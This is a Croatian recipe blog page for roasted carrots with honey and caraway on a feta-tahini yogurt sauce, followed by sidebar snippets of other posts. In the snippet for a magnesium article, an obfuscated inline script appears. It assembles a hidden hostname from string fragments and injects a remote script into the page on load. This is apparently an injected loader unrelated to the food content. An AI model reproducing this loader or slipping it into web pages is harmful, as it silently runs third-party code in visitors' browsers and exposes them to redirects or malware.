PEČENA MRKVA S MEDOM I KIMOM 🍯 🥕





Pečena mrkva s medom i kimom 

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Jednostavna jela od povrća često kriju najviše okusa, a upravo je takav ovaj spoj pečene mrkve, začina i kremastog jogurt-sosa. Slatkoća meda, zemljani tonovi kima i blaga slanost fete stvaraju savršenu ravnotežu, pa ovo jelo može biti i lagani ručak i kreativan prilog uz glavno jelo. Priprema je brza, a rezultat izgleda i miriše kao iz restorana.





Pečena mrkva s medom i kimom 


Sastojci:

  • 600 g mrkve
  • 2 žlice maslinovog ulja
  • 1–2 žlice meda
  • 1 žličica mljevenog kima
  • sol i svježe mljeveni papar po ukusu

Za feta–tahini jogurt:

  • 200 g gustog jogurta (grčki tip)
  • 80 g izmrvljenog feta sira
  • 1 žlica tahinija
  • sok od pola limuna
  • 1 žlica maslinovog ulja

Za serviranje (po želji):

  • svježi peršin ili korijander
  • sezam ili pečeni orašasti plodovi




Priprema:

Zagrijte pećnicu na 200 °C. Mrkvu ogulite i, ako je velika, prerežite po dužini kako bi se ravnomjerno ispekla. Pomiješajte je s maslinovim uljem, medom, kimom, solju i paprom, pa rasporedite na pleh obložen papirom za pečenje. Pecite oko 25–30 minuta, dok ne omekša i blago se karamelizira na rubovima.

Dok se mrkva peče, pripremite sos: u zdjeli sjedinite jogurt, izmrvljen feta sir, tahini, limunov sok i maslinovo ulje. Miješajte dok ne dobijete glatki, kremasti preljev. Po potrebi dodajte prstohvat soli ili još limunovog soka za svježinu.

Na tanjur prvo rasporedite feta-tahini jogurt, preko njega stavite toplu pečenu mrkvu i završite svježim začinskim biljem i sezamom ili orašastim plodovima.


Ovo jelo dokazuje da nekoliko pažljivo odabranih sastojaka može dati izuzetno bogat i slojevit okus. Pečena mrkva s medom i kimom na kremastom feta–tahini jogurtu savršena je kada želite nešto zdravo, ukusno i vizualno atraktivno, bez mnogo truda u kuhinji.


Pečena mrkva s medom i kimom


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više